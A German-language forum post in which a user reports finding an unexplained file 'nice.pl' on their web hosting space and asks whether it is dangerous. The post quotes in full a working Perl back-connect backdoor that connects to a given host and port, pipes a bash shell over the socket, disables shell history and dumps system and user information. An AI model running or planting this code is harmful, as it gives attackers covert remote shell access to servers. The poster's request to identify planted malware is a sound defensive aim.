Hey Leuts,
Wollte heute mein Hp Script auf mein Webspace hochladen und habe es auch getan, vor etw. 5 Minuten wollte ich die Home Seite bearbeiten...
Dabei sah ich eine Datei namens
"nice.pl" ohne "
in dieser befand / befindet sich folgendes :
Ist es gefährlich oder soo :o ?
Wollte heute mein Hp Script auf mein Webspace hochladen und habe es auch getan, vor etw. 5 Minuten wollte ich die Home Seite bearbeiten...
Dabei sah ich eine Datei namens
"nice.pl" ohne "
in dieser befand / befindet sich folgendes :
Was hat das zu bedeuten oder was macht das script ??Quote:
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
Ist es gefährlich oder soo :o ?